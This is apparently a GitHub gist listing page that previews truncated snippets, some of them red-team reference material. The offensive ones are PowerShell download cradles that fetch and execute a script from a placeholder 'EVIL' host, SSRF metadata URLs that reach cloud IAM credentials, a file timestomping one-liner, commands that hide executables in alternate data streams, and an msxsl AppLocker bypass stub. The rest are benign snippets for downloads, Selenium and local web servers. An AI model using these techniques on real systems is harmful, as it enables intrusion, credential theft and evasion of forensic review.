nuryslyrt / customers.xml

Created July 18, 2018 07:08 — forked from gattacker/customers.xml

AppLocker bypass by msxsl.exe

	<?xml version="1.0"?>
	<?xml-stylesheet type="text/xsl" href="script.xsl" ?>
	<customers>
	<customer>
	<name>Microsoft</name>
	</customer>
	</customers>

nuryslyrt / cloud_metadata.txt

Created July 2, 2018 12:48 — forked from BuffaloWill/cloud_metadata.txt

Cloud Metadata Dictionary useful for SSRF Testing

	## AWS
	# Amazon Web Services (No Header Required)
	# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
	http://169.254.169.254/latest/user-data
	http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
	http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
	http://169.254.169.254/latest/meta-data/ami-id
	http://169.254.169.254/latest/meta-data/reservation-id
	http://169.254.169.254/latest/meta-data/hostname
	http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

nuryslyrt / DownloadCradles.ps1

Created June 15, 2018 14:21 — forked from HarmJ0y/DownloadCradles.ps1

Download Cradles

	# normal download cradle
	IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

	# PowerShell 3.0+
	IEX (iwr 'http://EVIL/evil.ps1')

	# hidden IE com object
	$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

	# Msxml2.XMLHTTP COM object

nuryslyrt / gist:fb8e281eb24711adf137a6cfbc67ed45

Created June 15, 2018 14:14 — forked from obscuresec/gist:7b0cf71d7a8dd5e7b54c

PowerShell TimeStomp

PowerShell.exe -com {$file=(gi c:\demo\test.txt);$date='01/03/2006 12:12 pm';$file.LastWriteTime=$date;$file.LastAccessTime=$date;$file.CreationTime=$date}

nuryslyrt / bitsadmin.md

Created June 15, 2018 13:51 — forked from rosswd/bitsadmin.md

Use bitsadmin to download via the command line on Windows 7 (8?)

Download via the command line on Windows 7

If you want to test your connection or have some other reason to use the command line to download a file, this is how.

See http://superuser.com/a/284147 for more information.

Open cmd.exe and use this format:

bitsadmin /transfer debjob /download /priority normal http://cdimage.debian.org/debian-cd/current-live/i386/iso-hybrid/debian-live-8.7.1-i386-xfce-desktop.iso D:\Users\[Username]\Downloads\debian-live-8.7.1-i386-xfce-desktop.iso

nuryslyrt / spectre.c

Created May 5, 2018 09:28 — forked from ErikAugust/spectre.c

Spectre example code

	#include <stdio.h>
	#include <stdlib.h>
	#include <stdint.h>
	#ifdef _MSC_VER
	#include <intrin.h> /* for rdtscp and clflush */
	#pragma optimize("gt",on)
	#else
	#include <x86intrin.h> /* for rdtscp and clflush */
	#endif

nuryslyrt / Exe_ADS_Methods.txt

Created April 20, 2018 12:47 — forked from api0cradle/Exe_ADS_Methods.md

Execute from Alternate Streams

	#Add content to ADS
	type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
	extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
	findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
	certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
	makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
	print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
	reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
	regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
	expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat

nuryslyrt / kill_with_pid_awk_sed.sh

Created April 3, 2018 11:03 — forked from v9n/kill_with_pid_awk_sed.sh

Kill a procees with pid getting on the fly via awk

	#For example, we want to kill Netbeans
	ps -ef \| grep beans \| awk ' $6 != "ttys000" {print$2;}' \| xargs kill {}

	#Or get the first line only (to aovid getting grep command itself)
	ps -ef \| grep beans \| head -n 1 \| awk ' {print$2}' \| xargs kill {}

nuryslyrt / gist:f76bf436801e65e85d2a818140d00a63

Created April 2, 2018 08:22 — forked from casschin/gist:1990245

Python webdriver api quick sheet

	### Locating UI elements ###

	# By ID
	<div id="coolestWidgetEvah">...</div>
	element = driver.find_element_by_id("coolestWidgetEvah")
	or
	from selenium.webdriver.common.by import By
	element = driver.find_element(by=By.ID, value="coolestWidgetEvah")

	# By class name:

nuryslyrt / web-servers.md

Created March 10, 2018 13:28 — forked from willurd/web-servers.md

Big list of http static server one-liners

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000

Nur Gucu nuryslyrt

Download via the command line on Windows 7

Python 2.x